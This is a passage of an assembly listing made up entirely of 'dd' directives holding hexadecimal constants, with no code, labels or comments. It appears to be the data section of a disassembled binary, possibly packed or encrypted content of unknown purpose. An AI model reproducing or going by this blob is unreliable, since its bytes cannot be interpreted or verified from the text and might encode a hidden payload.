0C13E0E05h, 944242DEh, 16D62FB1h, 4E6B5F18h, 31578E0h dd 7624413Ah, 81010D49h, 601A31D5h, 0D0864D99h, 29142C17h dd 69124671h, 800261C6h, 0A1058726h, 3E7B8DB0h, 496038BBh dd 361B6955h, 0C0244407h, 0E8C5F48Dh, 0F56A9C42h, 32CCA2D7h dd 14A8919Ch, 0A44C3EE1h dd 413D0171h, 0FD498138h, 0DB1020ECh, 0A9030616h, 0C8D99858h dd 16692C4Ch, 0FCA80C4h, 0D29D78E3h, 492D3A05h, 9820B0B5h dd 0A0A9FE61h, 9016F8A4h, 0D82DE65Ah, 0B771D0E1h, 0D2720A03h dd 0C8D42CB5h, 0E4D7E1h, 60096E76h, 1B6F3C96h, 0A2296C60h dd 0D3242Eh, 4F478506h, 0F9132A8Dh, 1073F830h, 88FD6455h dd 0D78DDC5h, 8633EF00h, 7E25D3E2h, 7DD2F023h, 60F2009Eh dd 34918A38h, 0F550265Bh, 0C678E1BEh, 3F9EC100h, 0DD540776h dd 4510C05Ah, 0FE80E34Fh, 0F0B630A9h, 0EE1133F0h, 7B00D411h dd 0EF610AE1h, 58A08A54h, 2B605F3Dh, 234DF4F1h, 0B2F501EBh dd 0D6D33B53h, 9108DF5Eh, 0BC138E74h, 6DB96800h, 0F9F60346h dd 0C1BFE2FEh, 6E21234Fh, 0AB300C01h, 336C7FD8h, 2DA012F7h dd 9C1A200Fh, 77CF02DDh, 118AF5Ch, 32C24739h, 3754B450h dd 0CC3E6BEh, 528F439Bh, 3868DCA8h, 6201CC20h, 9B987FC2h dd 37E1F181h, 85237DD3h, 0D92706A0h, 0C50A21F8h, 0B1BC5C7Ah dd 8AD45B28h, 1486C1B0h, 943C831h, 0F67B4085h, 0AAA400BFh dd 0FE025DF2h, 405FF833h, 0A86F9381h, 0C0ABC9Fh, 0EDC2905Ah dd 703AE790h, 28BB3EEBh, 0F001D033h, 0EEDC7AB5h, 41E0C003h dd 4FBA07AEh, 0E0719F7Fh, 44E0600Ah, 6FC82854h, 589B7335h dd 0FD1E2C06h, 0F84D0558h, 1D383676h, 98118694h, 3D0CC0F5h dd 292E4061h, 0CC6F0AE1h, 5A06DC9h, 5459951h, 53A5448h dd 215F3B28h, 8CECCCA8h, 90604710h, 984B0C9Eh, 9AC16182h dd 0C1EFA76h, 0C781708Ch, 0FF8A905Dh, 0DB474986h, 7202385Ah dd 0C7AEC083h, 0C1C8A2A4h, 0DC2CA035h, 7FC54FB1h, 4421C086h dd 9A47124Dh, 87C6C70Ah, 6285D057h, 0A041EA58h, 3407323Fh dd 0A6D22450h, 7B949055h, 5CC12A04h, 0B7E30C48h, 5AD8630Fh dd 0D0800C00h, 6AF6C3A4h, 54D40064h, 3716B89Fh, 18C07D0Eh dd 0CE097C38h, 10A26745h, 25F4C0E9h, 7111676h, 0E100E8BDh dd 0B6428BFBh, 7B037F35h, 0A58E3ABCh, 3E4818E6h, 0B93869E9h dd 79E5C00h, 54B7C243h, 5880E936h, 4EECDCC8h, 67000835h dd 46C4F9C7h, 6385C9BFh, 0C08868B9h, 89F61CA3h, 330C7BF0h dd 10F18C3Bh, 792601C3h, 7654D5B8h, 5598047h, 0AB6E7319h dd 85B718AEh, 3B261946h, 4EA26202h, 0A0BBBA08h, 0C4E23A34h dd 7E1100FBh, 400576EEh, 0A4769ED3h, 81EF607h, 0FAAF3h dd 4CE94FB7h, 0AB7B2AF0h, 151C0090h, 8EAAEEB5h, 5050A96Ah dd 96003988h, 7DE776BDh, 0EBB915h, 0D6E034C0h, 1889FB43h dd 91284C60h, 62A28C9Fh, 0BE3F6825h, 0F7B0C4ACh, 0C941BA09h dd 4304001Ch, 4C75C6ADh, 3418EAA4h, 9E09D83Ch, 0D49320A8h dd 5E60BC78h, 0FB303DE9h, 4AF70632h, 0F05F913Bh, 8350C33Eh dd 20F90826h, 199CE749h, 3977093h, 0D152B04Ah, 0B03CEF74h dd 10BC28ADh, 0E74D981Eh, 0F6C1BF47h, 0A0F3A0CCh, 78ED67C8h dd 0A7B628C2h, 78C8F088h, 0E0BC55C1h, 27E1A6E1h, 119EF5E1h dd 9EC303B9h, 3004EB65h, 0AC27BE31h, 2019C423h, 0D351B34Eh dd 80A84601h, 27BF1111h, 0C8E3B354h, 0F618A430h, 0DED3AE81h dd 31FC4118h, 0DE801693h, 64FFDCA0h, 0EF3F04ADh, 953982AAh dd 0A06C8E34h, 71589184h, 40F0369h, 0C593F79Eh, 0C04873B8h dd 61B0D030h, 968350h, 667E9A86h, 0C31AF8B3h, 0F6FB0200h dd 9B04A13Eh, 0FF4300D5h, 83EEA939h, 0BE48687Bh, 0E42622B8h dd 0A0E47ED0h, 0F2EE3B4h, 0C78762CEh, 0C180C32h, 3A123940h dd 5040F950h, 0B3A81F89h, 70FD48D0h, 58A06622h, 1D03202Ah dd 34A78108h, 0D1A691h, 5E3D6970h, 136D3EB8h, 0D4975407h dd 0DD10144h, 0F4F0B650h, 0A8040198h, 0F30FFC60h, 0A32FE427h dd 0E00AEA00h, 9FB7A923h, 0B64A3A1Dh, 98E82400h, 0FC7ADD07h dd 0F573F21Eh, 20B4CF0Ah, 0C6F64A0Eh, 18317DC0h, 48650248h dd 0ED01A082h, 3E5E5944h, 7C0C80CAh, 0A505110Fh, 348183F5h dd 36780022h, 0BB04EDB3h, 0EE6F7C3Eh, 0AFE48150h, 0C9C4E845h dd 0FC4B0089h, 6226906Ah, 1700F043h, 779B1E5Dh, 70F92473h dd 5481CF53h, 19799386h, 7FFC5222h, 82A605Ah, 0AB150FE2h dd 0A35869C1h, 0C9BC7CEDh, 632F10h, 0BF7B3AB7h, 3EBCC0h dd 90BEDAD6h, 0F6525A68h, 31B7F531h, 1090575Bh, 1B6C88C3h dd 76C17953h, 42BAE1F9h, 34035810h, 5A10009Ch, 0B6307C5Eh dd 36EE151Fh, 679E2D00h, 0D6260185h, 4C3C00F0h, 0F5594553h dd 542A0537h, 0AB60D85Fh, 7AFDE438h, 0EF2918FFh, 6B019D0h dd 52F6AF00h, 0A21D9E45h, 295004FAh, 0AE2C66h, 0F5FC70CDh dd 18517C35h, 909DA2D6h, 0AC2E1FB7h, 0C00686D1h, 1838F915h dd 900A5648h, 7400AF0Dh, 0A25FB03Fh, 0E7DC49C4h, 664EB982h dd 0A0A35882h, 1011FC6Bh, 0CA1E2143h, 0F7E00860h, 0B311B090h dd 67181E22h, 17888F10h, 7031A518h, 19392CA0h, 94E60050h dd 0FC6F4246h, 0E9706260h, 0B3A361h, 25FD1FA1h, 0D715E009h dd 3850F000h, 0EDDF98CAh, 3BFC0449h, 875269B3h, 0E297C18Ch dd 0A11D30B5h, 974F758h, 2F62A29Eh, 91B80108h, 845010BEh dd 0E28F6Ah, 181C7DADh, 1BD6EA5Dh, 0FDA87600h, 7E15F634h dd 74EE03D0h, 9B081381h, 5BC924A8h, 0A4AE0E00h, 4354FDA6h dd 50EF297Bh, 602964h, 1FF921E4h, 0FF62E506h, 0A0FAE2C8h dd 0C6B8F3F8h, 11F86056h, 58EF49A4h, 0CB291F06h, 3B181E5Fh dd 78D2FB9Ch, 92FDFDCh, 8C0A4A31h, 9FE60844h, 0FAC75400h dd 0C89C7D53h, 6B0AED11h, 0A20AFC0Eh, 6880CC11h, 6F9C49A3h dd 84D3493Dh, 99EA440h, 2736606Eh, 0B42B6002h, 4C642848h dd 0BAA19318h, 3AF1F11h, 78C788D0h, 8100FAB1h, 0FD8EC244h dd 411896Ch, 0F32F36Fh, 75E48145h, 0E3B5F1E5h, 2160B9E1h dd 68D01411h, 0F44048D8h, 60DB003Bh, 1507C4D9h, 0CB002AA3h dd 0A10F96Fh, 534D9Dh, 0EBC262CDh, 0E821E686h, 81D3AB0Fh dd 0E0C8E02Bh, 969F71h, 452F304Ah, 70DEB25Fh, 2A99E606h dd 1C113BB1h, 806FBE18h, 0BB467586h, 7B00AA56h, 0E01C57D0h dd 1DB1CCh, 0E721CD7Ch, 9D544814h, 4237DC07h, 1643F698h dd 84F1C017h, 0C0E2B3h, 4B923596h, 0FE4A9D5Bh, 79331100h dd 0C2B093D4h, 0A291007Dh, 1DDB3942h, 99007235h, 8DC83DB5h dd 50C14732h, 0C588A96h, 0CB401C90h, 30F02211h, 0BC218F60h dd 0C0AB6A5Dh, 0E13B1448h, 0B000A9A6h, 8A34A4B4h, 953EDCh dd 57AFB39Eh, 91C1C532h, 0E0A020DBh, 0C01EA602h, 0EB80EFD9h dd 1C0A400Fh, 48A88E35h, 92031F91h, 4052D962h, 890B700Ch dd 0BA50E4h, 0C7493433h, 0E2AE8309h, 552A521Eh, 0E5910C00h dd 1C1BBF0Bh, 81093C72h, 580FF687h, 49584132h, 8060BCC8h dd 4240903Fh, 3C194148h, 0C0604B43h, 76799C0h, 119B1634h dd 21F5B80Fh, 0FD91EA2h, 0A1D3E982h, 4DC3BD34h, 2572C000h dd 84F257B7h, 0CFC0017h, 4A7E9840h, 431813F1h, 11519706h dd 3F56F078h, 400A1E9Bh, 40BC1D8Fh, 17DC594Ah, 339CAF54h dd 803D1601h, 98F9418Ch, 0C0D5F853h, 1DF1573h, 3584F3A7h dd 8FE2E9CDh, 8CFD4A88h, 0A9F1843h, 9B517446h, 663E3C84h dd 3C744A28h, 86186481h, 35DB2177h, 4FD08200h, 0C6CDE11Ch dd 7E101D17h, 38BA0CB3h, 70231D0h, 74451699h, 863E2796h dd 1A3DC14Ah, 159C8070h, 3D5D19CEh, 0D7ED0058h, 951C2C90h dd 0B32E7B47h, 9600DDE5h, 76BE8A87h, 0CF3A1235h, 80F3065Bh dd 0C4325898h, 11F81053h dd 81521C5Ah, 0A38015D0h, 14FFA899h, 94B92E12h, 0AEB59000h dd 0F5C8883Fh, 0D672B1C0h, 610A79Ch, 74433E9Ah, 1F0CC93Bh dd 51F9DC86h, 0DE513CDBh, 79391931h, 0EF298A9Ch, 478CC488h dd 50DCF93Ah, 889814CDh, 2F243D09h, 1640C072h, 0A44D4377h dd 240F779Ch, 16CE741h, 935C060Ch, 5DB0432Fh, 759822h dd 0E8386610h, 90DF1906h, 0D47C32E2h, 90099F80h, 0E103459Ch dd 0FB109013h, 0B3300A8Ch, 10336484h, 0C55D40ABh, 3344523Fh dd 9A712D74h, 354580B6h, 10917DE1h, 0DBE4007Ah, 33900FA5h dd 0A89245h, 529AC731h, 89B8C4E9h, 954006EEh, 98F25238h dd 0F62D3709h, 5D7C5420h, 0FE0A70E4h, 809A9984h, 0A848C918h dd 79BD1837h, 1BA32894h, 7C547002h, 405063FDh, 7472BB0h dd 205234B4h, 0A8FFC172h, 90C48F3h, 5B0E5005h, 0B003FBA9h dd 0E0D2C810h, 1C2B53A1h, 0CA720A5Dh, 0E406F2Dh, 192B516h dd 555B1C84h, 0B31830D9h, 0B6602890h, 24BD0BC1h, 3D8F02CFh dd 0B891661Eh, 519E8B40h, 424CCB7Ah, 7DF68154h, 0FC42A785h dd 0E4426Dh, 0FB814C8h, 0F094CCC6h, 9D54D878h, 1EEE9388h dd 0A1C0B824h, 8DA4F619h, 22404083h, 583C196Dh, 4A558030h dd 0B0E0649h, 0AA383E17h, 18FA2B01h, 20D3F8F7h, 0E20435E0h dd 0CB3D8E64h, 20270882h, 7166F7A3h, 8FB6FB03h, 610FEC33h dd 9E3958C2h, 430ECC59h, 0E0833BECh, 0D29C6F72h, 0EDBC3018h dd 53057027h, 0D669350Ah, 0D7C8801h, 0A8401987h, 0B71E46h dd 3C90AF4Ah, 0D148165Ah, 804E971Dh, 0FC9D5747h, 86EC0312h dd 104840B8h, 88C9B9Eh, 1D1631C5h, 972E8C0Bh, 4C99D218h dd 45F8AC28h, 4AD04E15h, 2EB21184h, 9BBF107Ch, 0E15E0078h dd 83B147CAh, 711C0C29h, 0F6F8A93Ch, 9CBB2186h, 850213Ah dd 0A3719FF3h, 8E641A00h, 40B97A88h, 2704FCFAh, 3FA02CA5h dd 0F834012Bh, 3D5BFD4Bh, 1E9E6020h, 0B19E978h, 0E001D689h dd 30E29CB3h, 580B70A6h, 21F44941h, 8C614DC8h, 0CF3B0E01h dd 3C438EFAh, 0C9E624B0h, 566A4516h, 295A000h, 53EBBB4Bh dd 0A6842046h, 1316050h, 27EC0904h, 0DC80D79Bh, 5E3CDA8Fh dd 3CE3092Eh, 6592BC87h, 0AA88DF80h, 0AD571CA0h, 0F2C958BEh dd 0B2007C70h, 0E263C2ACh, 4BC682Bh, 4AF15A31h, 84A80C1h dd 9600C715h, 39772624h, 72558F86h, 9B2300B9h, 0A762AB5Eh dd 150018C9h, 0FA341E1h, 0E29CAB0h, 2816D0EBh, 0E2AD7420h dd 3B009D4Eh, 0F1B68CF8h, 6447D4h, 48A413B8h, 0AC48EC0h dd 963DC700h, 5D614055h, 701FAD6h, 49C1515Eh, 0B8DCE0C9h dd 0FB00A205h, 98825056h, 7AED537h, 0BE425BD4h, 0F960C1B0h dd 3A48F416h, 22018D00h, 21E74A87h, 0B9DB0075h, 0EC027EACh dd 4B7E5099h, 7A00E476h, 423827C4h, 17D552h, 0F492C8A6h dd 0A7C05F57h, 22544001h, 1D40BCCh, 434DEECh, 7F483275h dd 642E80C1h, 3A0CC85Dh, 110BAAD5h, 4A1300A3h, 6D8F1AD8h dd 9200C7ABh, 0E7FB5BD1h, 26B9D942h, 9FD86E4Bh, 0D852007Bh dd 5EC3FD0Eh, 86DBED00h, 99FB1043h, 6D2F30A0h, 26E4B580h dd 98292D18h, 3AC35B66h, 6C82915Fh, 0F94A8E13h, 2C0324C4h dd 4D87683Fh, 0E1FF88E6h, 76AD138Ch, 1C181FE3h, 8AA70306h dd 6A81D7B8h, 0F1FBC071h, 77F4905Ch, 0AB609D00h, 5B7D1801h dd 0E20C0081h, 0B7BC3177h, 4500986Bh, 0C1A550F7h, 0DF8F3h dd 0C4D25D1Ah, 7F9C093Eh, 0FF79CC00h, 442694E4h, 598800A0h dd 0CFB0EE69h, 55004DC7h, 64CD5B67h, 6E3AF2h, 87B7D09Ah dd 0AC51AF36h, 0C6A7C500h, 0C0CF1CEBh, 0BD700BBh, 0D5C4824Eh dd 3F07ABDCh, 0F5892653h, 901A13A0h, 0B63E004Ch, 576E31B8h dd 3A00E5F4h, 5ADA73EFh, 48A8B5A9h, 2C0008A7h, 0C7458F44h dd 2F4DDEE1h, 3F0F00BCh, 0A764849Fh, 40C533CFh, 3DBB35A0h dd 0E86033E8h, 8613203Ch, 0FDAA9698h, 1B2EC82h, 1EBD6BC7h dd 0E820F654h, 7300D0D9h, 7947602Ah, 3C297Dh, 31A87767h dd 0B6179EC3h, 0C6B0F00h, 8AADB7ACh, 0A11D1263h, 7C900022h dd 0CD2D3A2Ah, 0FA230B01h, 3BC6F472h, 288AB9C4h, 31F49875h dd 45B96E10h, 344E003Eh, 0D79013h, 19AE7183h, 976F1787h dd 794364Ch, 98B8F02h, 1E08A496h, 79A7B94Eh, 8D28FC80h dd 42AF76D1h, 0FD35B000h, 340DB10Bh, 379500C3h, 0A2A5A770h dd 57FE9C76h, 0C8BA6828h, 4033E005h, 0B4441F1Bh, 40909F88h dd 1C3B923Ah, 801AB74Bh, 0EC50A70Dh, 0E6005D62h, 97164A98h dd 7772D6Eh, 13A559FDh, 0B46A70C2h, 0EB5017DAh, 0AB0089D4h dd 0A77643D8h, 7E2F2AE8h, 68D900C6h, 583747Ah, 58005B6Bh dd 0DF4854Eh, 60E881EBh, 13AC80FDh, 0B5034183h, 94BF0EF2h dd 0C47580CBh, 0C270001Ch, 0BB5A3823h, 0A07B7DFh, 8C507219h dd 0DCCB9A00h, 932E00D5h, 88E4940h, 0DE00B10Fh, 79F2E8C1h dd 382612Fh, 0D3555791h, 12A8BF69h, 3007901Fh, 0C7FF8A0Ah dd 3BA635A0h, 0DBE44863h, 9C395400h, 22C47870h, 0C733C0A0h dd 366BCA00h, 35B7A86Fh, 0D5C50C58h, 912928BFh, 30003174h dd 243F8B76h, 3B5B371Bh, 0F4834A80h, 95F1DFB1h, 1720FCF8h dd 0E91F2872h, 1CC0183Eh, 0DA996489h, 0FB81124Ch, 441400CEh dd 42F4E545h, 805A2C3Bh, 0AD2D4318h, 25EB4Eh, 4724AE3Bh dd 5E65B73Ch, 0C7345B00h, 0DDF5B40Ah, 0A16330C9h, 0FF5AE4F8h dd 0D0C36500h, 605B8930h, 0BA9A0386h, 35CB6D31h, 0C585AB91h dd 0F60A305Ch, 96C55400h, 0A57B59DAh, 0FA520009h, 206DF48Ch dd 5807BE86h, 0E84A5346h, 0B7DE4EA0h, 0CFB30F19h, 56C0C52Dh dd 9E4CD7FBh, 0E41F664Ah, 7CAD9F40h, 0A3920D5h, 54B6C781h dd 21AA0082h, 40FD2913h, 0B9029713h, 2699C400h, 0C0BC9B86h dd 4FF44811h, 8F13EEF2h, 0AC000793h, 0E8CD0F9h, 189C0008h dd 0F1C6EAB8h, 3A036630h, 0E9335EF2h, 0E4A0B793h, 49CD36h dd 0EA2E4579h, 0D35E677Ch, 8E8F7306h, 314B72Dh, 65E98C5Bh dd 0F6987AB8h, 5900D22Eh, 5593F8FFh, 0E5CF79h, 88118206h dd 45E8EE67h, 4E8DCC03h, 0D023D9DBh, 8EAB0Ah, 0EC3C8053h dd 2A97CB04h, 6354F500h, 0BBCD1E3Fh, 6E3D07BFh, 600D709Dh dd 37DAC459h, 0CE766000h, 30C7A8A6h, 0E288073Ah, 7F42351h dd 68945034h, 220FD441h, 0EE729709h, 0FC3124C9h, 7A6100EFh dd 0C2F75A0Ch, 0FFD4CD00h, 15E8F194h, 218A0013h, 65AE492Ch dd 0B0707795h, 5EB3F701h, 35548E2Bh, 2BEFCh, 4215F4BBh dd 37741B51h, 32002373h, 3BE6FB7Ch, 6482FCh, 0E8B9F91Ch dd 0D7B00C59h, 6249E300h, 244A504Dh, 66890045h, 302BC43Eh dd 21005752h, 9540A964h, 0CD7D25h, 69273510h, 0C39AD86Dh dd 964E100h, 77F69047h, 2BDC014Eh, 0B71E2229h, 702CE57Fh dd 78005DDAh, 0EBEDCF7Ch, 0FA8DDFh, 5F01C245h, 5C9B2ABh dd 5433E502h, 809B0289h, 593086ACh, 7A1F1358h, 41700F1h dd 88446878h, 15FD48C0h, 3F713F4Dh, 0BABBF986h, 0E806A695h dd 0C0918507h, 4B42E170h, 7D0C40C1h, 81C3E05Ah, 60289661h dd 5FDD08E0h, 63F8FB72h, 34276600h, 51920932h, 7D840073h dd 25823642h, 0B052178h, 0BDF7C944h, 0D94BE707h, 0D29B6030h dd 294C0085h, 0B37365FBh, 99036E0Dh, 0FD6679A7h, 0D17ED09Bh dd 6381CFE2h, 83C427E7h, 0A1010761h, 142F3491h, 93CC92B8h dd 0E25C5C3Fh, 0C6AF7E01h, 0ECC15667h, 9F07DFCh, 0D664100h dd 39B1DC4Bh, 87FA6Ch dd 658B28B4h, 3472D5FDh, 76C01E00h, 4E2B980h, 1D1901FFh dd 9FC46003h, 0CC888081h, 614E400Ch, 212601B6h, 4CE92E84h dd 0B2C02089h, 0C85B803h, 0C0CECD63h, 0F25120AAh, 27AF0001h dd 0F08A9261h, 0E700CBB1h, 0E269AC24h, 0F2397B18h, 0DC7A0307h dd 0C1E8E90Eh, 0DF8C408Fh, 0BF0035DEh, 5FF85132h, 0BC7892h dd 25F12E79h, 0A6E9683Dh, 0E72FA400h, 0F71BE498h, 0D94A0C66h dd 2DB1A785h, 0B603F1EEh, 607A06E0h, 41900E9h, 84AC34AAh dd 8C1DCEF8h, 0C055038Ah, 0EA200B8h, 0D2E51DBAh, 5DD00B9h dd 8BFBED22h, 6660FD1Fh, 0F6F88118h, 63010749h, 8185FA89h dd 0E0099919h, 7A02DA65h, 79B9830Bh, 0FAD88014h, 0C561F0h dd 0DBE275B2h, 5F49E74Ah, 666D43Ch, 0DDCE3C0Dh, 51E60C28h dd 53181E7Bh, 8CF26C7Ah, 0EEC098DFh, 6B1D8887h, 57630008h dd 0D9922D0Fh, 0BA7833D3h, 6E011F18h, 0C4B7FA0h, 6F79B8CCh dd 6119A381h, 7058234Fh, 1E4AE720h, 0CC4B3448h, 3918078Bh dd 786D7A3Bh, 9C3CF87Fh, 0AD701403h, 7EE60094h, 0D95CF10Ah dd 44F5490Eh, 6C08906Fh, 0DEF24841h, 6A793009h, 0A27D90C1h dd 0C8ADBB62h, 0E8C483F0h, 0D96C1F87h, 0ED140EF7h, 0EB24C0CFh dd 0F8CB838h, 67687E42h, 0DEC94E00h, 0FA836D34h, 0D6A8C0F9h dd 0E10DFFA5h, 8E25CD00h, 0C5A7FBBCh, 0EA980FC9h, 0DB80E522h dd 0B91C4891h, 0E0B4A3Ch, 207DFA88h, 0F460EFD8h, 5A100BBh dd 6C1883E8h, 62009299h, 7F5725CFh, 187249F8h, 6093E1F0h dd 3B0E5C5Bh, 0F356B6C6h, 88522500h, 1E5E71EEh, 40FC7932h dd 9072068Ah, 0D200DB91h, 0E3CA1A9Fh, 0F1E9552h, 1DEFC874h dd 23E8A2A1h, 701AC499h, 0D32ECD00h, 0D5872B90h, 0EE380021h dd 88E1C402h, 6C00EBC2h, 499CCD9Fh, 3F519619h, 0C982AA10h dd 58EA2C79h, 6D73C060h, 32EF9900h, 0F6F5CE52h, 0F00100F8h dd 1A286939h, 0FEE69E1Dh, 31B83D00h, 5B87AB40h, 0BAFD3132h dd 0E4C06010h, 29001BF8h, 738E5766h, 1A122FFh, 7AF5B76Dh dd 508AB26Fh, 8C82CB9Ch, 44392507h, 0BED07B7Fh, 9D2CD05h dd 8FA2CE04h, 0ABEB2420h, 0D62ED5B1h, 9C2071A1h, 0EFF80476h dd 2A4E8A0Fh, 0A0768079h, 0E5D834h, 7D4319B0h, 9F0B6675h dd 74448D24h, 7A49D480h, 4EC9BAh, 6A873246h, 0C6F1585Ch dd 6D61FD00h, 0A67590BFh, 403000E9h, 128F0356h, 3400E42Fh dd 1B115288h, 0B66B343h, 904F6578h, 0C6462400h, 1400C7A4h dd 2FB817DAh, 14B996Bh, 6A72925Ch, 0F26C7311h, 3EE6DB80h dd 9E3C769Dh, 44A38720h, 69600498h, 88CCC3h, 3D373287h dd 9FE97DF1h, 7BDD7500h, 615A9DA8h, 19D76063h, 2C69035Fh dd 653D261Fh, 7114F8C0h, 4763E6Ch, 0A5B7DA8h, 540C8060h dd 940073E5h, 0C99A2FBFh, 3C1A1F08h, 0FE008329h, 0A7DBDF9Dh dd 90000B20h, 4A886CA3h, 403E18h, 4683D8DAh, 0CF43D08Ch dd 0D43278C0h, 1D3576Eh, 7D417523h, 0F83FEC65h, 0A0003137h dd 3F1D5B4h, 2141CB6h, 0D1FACCB0h, 8406976h, 2C0764FBh dd 6FAA5218h, 22EB9D80h, 538708Fh, 82B62EC2h, 94CFC01Bh dd 0CB0070C1h, 47DC430Bh, 3012C39Dh, 0D82950C9h, 0FE769475h dd 7800EC70h, 8299F1E4h, 27B8AD2Dh, 0C3F0EB76h, 219BA700h dd 0D2F75E5h, 6C0A00C3h, 1601AF1Ah, 9E00B782h, 0EADFF491h dd 7D71498Ch, 87810058h, 3C9C4C51h, 2007EC33h, 42CFB41Fh dd 0A06A12A0h, 0E83400A3h, 571790D1h, 30FDAB8Dh, 631FD2D4h dd 9CCF51A9h, 931960C8h, 790FAFh, 8398EEE5h, 57F888E2h dd 2CA48200h, 3771584Fh, 0BF9E0005h, 60416154h, 600D60Fh dd 6ECFE669h, 27936A9h, 233845F3h, 94C01120h, 8A6BFA9Fh dd 0BF3F00D8h, 474F1Eh, 0D1E98413h, 0D7E7576Ah, 0C67010Eh dd 5DB3C0B7h, 78A1A3h, 48C4D836h, 6D0BC11Dh, 0CA643107h dd 52443D6Ah, 1A49F9C0h, 2D000DEh, 0D8EF65A4h, 2F6E459Dh dd 0AF1CD671h, 7C44394h, 3EC5607Ch, 4C1387Ch, 0C378F896h dd 0D198C007h, 0C0F1DEA3h, 0EE0075F9h, 6EAE7A11h, 0EE329BB6h dd 30B8F436h, 0C680CCABh, 0C1709C9Fh, 9900D9FEh, 66DD1175h dd 35DC29h, 3EADB7E2h, 0A7C4BFEAh, 0E6D21C00h, 0A1CAFE0Ah dd 79FF2C3h, 0CDF0DB80h, 9163C0FFh, 79004C93h, 2A15A54Dh dd 18FC7h, 0B621081Ch, 0DD126A3h, 0DED29600h, 7A536B62h dd 41E08Fh, 0ACA01543h, 50F5D8F7h, 772E7C00h, 20CA0917h dd 3ACF00DDh, 0A6B3A778h, 4128A164h, 0C8009073h, 0FF33052Eh dd 0F27EDCh, 0FED5AF9Bh, 0A8139D6Eh, 22DF93Dh, 0E74B71E4h dd 87C240B9h, 0D3080017h, 56BC8930h, 4002952h, 2EE6CEAFh dd 77A4FF9h, 7B908E3h, 55B4E079h, 0F6008D69h, 475E749Ch dd 0F8FB8C4h, 0C6B2109h, 0D1E30BA0h, 2300A0D2h, 94F013FFh dd 9B30FBh, 8C40E4CDh, 0C960770Ah, 42C58800h, 2A7D0234h dd 182F0FFAh, 46600E48h, 0B236CB75h, 5F3D9400h, 0CF27A138h dd 0C47AD5h, 0F52A136Fh, 0FACD78EFh, 0FE280500h, 64D87A4Eh dd 72312827h, 101E0088h, 8D980D44h, 131F11DAh, 8242B35h dd 3A061C80h, 36CDA8h, 0C9C61D94h, 5CA764ECh, 6D23870Eh dd 68C0E026h, 0B7A10Eh, 61A9FF41h, 7888A8Dh, 79D56700h dd 0C71CE7CEh, 751006A6h, 3083274Eh, 0C4613900h, 2B3AD399h dd 232D266Eh, 60548004h, 0E09F882h, 64064024h, 4CDAC500h dd 1F1986B7h, 80D528CEh, 0A23E1FE5h, 0BC007540h, 0C0A40952h dd 0AB76A7h, 5EF4CC77h, 5729C54Bh, 186BCE00h, 0EA7FF19Eh dd 0E757BE0h, 869A097Ch, 2BB789A1h, 9143601Dh, 0B3006BB8h dd 11B6D32Ch, 797A60h, 0C706C697h, 0FE429EE3h, 832A1238h dd 31C4E615h, 5E0DE833h, 72D500F7h, 997680BEh, 2200AF7Bh dd 0B04C89DCh, 0C7FE25h, 54F1C9Dh, 0E1199386h, 5C223Fh dd 0D620C04Eh, 7523D35h, 0FB29A37h, 0A314C0F4h, 7E001288h dd 45B5394h, 0C6A41Ch, 0AA8A9C30h, 89A73DE0h, 5C933500h dd 0A19F33CAh, 34314BDh, 0AE00C192h, 255F047h, 22098932h dd 8F3B88D9h, 62BC60EDh, 1F25C386h, 7A0AD8h, 711AF9B9h dd 7600A8BAh, 0C92AEB8Eh, 3D0222h, 57C351B3h, 0C23107BFh dd 879BEA07h, 1F138Dh, 24D979FBh, 0F49500B7h, 11B03CAFh dd 2A009DF2h, 41281D38h, 7EABBDh, 258FFAC8h, 0B1507AD7h dd 1DFF0703h, 82AD8D2Fh, 47807DD3h, 86D288F7h, 0AB650C03h dd 0B84E9C82h, 2ED84407h, 1EE605C0h, 47C20C14h, 3C3B46C4h dd 0AA007503h, 352FC17Dh, 0B842FCh, 60BE6AAFh, 0E836E266h dd 0AC5ADF00h, 29DC544Eh, 4FC00FD1h, 952158AAh, 0C4641338h dd 77E01290h, 0E71F4374h, 0C498D3E3h, 5CDF0A18h, 778FF58h dd 60758CDDh, 768EDEDBh, 860AB282h, 0BAD91080h, 480FBB95h dd 9DBDED74h, 3EB1E100h, 0DF25CAh, 9013FC6Ch, 17300150h dd 930D3207h, 2840F9AAh, 0F09B93Dh, 0ED3C29AFh, 1E1DA88Fh dd 0FC51FB3h, 3A819A07h, 0A6BD60F8h, 30001C29h, 32D26FC0h dd 0F0D871D5h, 0A0447C08h, 0A068281Ch, 0E053E2Ch, 0FD328D93h dd 2F3C8780h, 10A01728h, 1CA04F44h, 0D800E52Eh, 919450D5h dd 3EA6630h, 0DE02715Ah, 14900FAAh, 32002906h, 44F4BEE1h dd 30CD9B6h, 1CA8C74Eh, 0A0B11905h, 0A37FF062h, 6FEAB000h dd 1E03D5B3h, 0F25600EDh, 8873C07Dh, 0C600E620h, 310C33C3h dd 0FF456Dh, 0E009F419h, 0A84129B6h, 6B167501h, 3F42E7A7h dd 780EE5F4h, 29591DC1h dd 7DCA80AEh, 0D52DFA5Ch, 76ED4E02h, 0C0E49D6Ah, 0CB2833h dd 0E9070AC9h, 0E2582353h, 7CD8E31Ch, 1C9104C0h, 0AB19CBh dd 2767F3F7h, 0D652B863h, 0C88CC454h, 90407905h, 9042581Fh dd 81D8E2A1h, 97645084h, 1AB69040h, 0D7B90018h, 20D5651Fh dd 0DC32A106h, 204829DAh, 7A09C193h, 5F25F80Eh, 7134C3B4h dd 4C8E022h, 0E17C7Dh, 5C79AE55h, 11A6F5DBh, 17610A00h dd 730C3AA1h, 0F2D5007Ch, 831D18AFh, 400C99Eh, 4542142Dh dd 0E30F03h, 8155D833h, 964164C8h, 8999207h, 8C8007E9h dd 0FD3D87h, 1892580h, 43D94F1Bh, 48CC6A00h, 0B7B8468Eh dd 0CA61D5Bh, 0EF6CD2A5h, 0ED718C00h, 0E3C8E8h, 0BBD9EB3h dd 0FD9DF972h, 0AA5011EEh, 0ED00878Ch, 7FA2D7FCh, 906E1AD0h dd 614006BDh, 52A051F9h, 0D25DD900h, 0F6B9BF39h, 95D10043h dd 7135AB20h, 0C701B1FEh, 0FC6FA75Ah, 0D9CC4E3Eh, 33C10387h dd 0E29F0BA3h, 8810CBC0h, 0B25BC800h, 59D2E4BFh, 46BC006Bh dd 7D2602AFh, 950005B1h, 189CEB56h, 825ACEh, 8D794369h dd 969A5726h, 60C0320Fh, 0C2A20083h, 0FE481510h, 0D719Fh dd 62A72ABBh, 0D1C3D691h, 0BF82E900h, 29A987ECh, 0F1E06076h dd 0CA3F86Ch, 16600507h, 5B3133D2h, 0B6E46D84h, 0B01A0001h dd 0F69FD3E7h, 0A000697Dh, 0F0B8CC31h, 421CA1h, 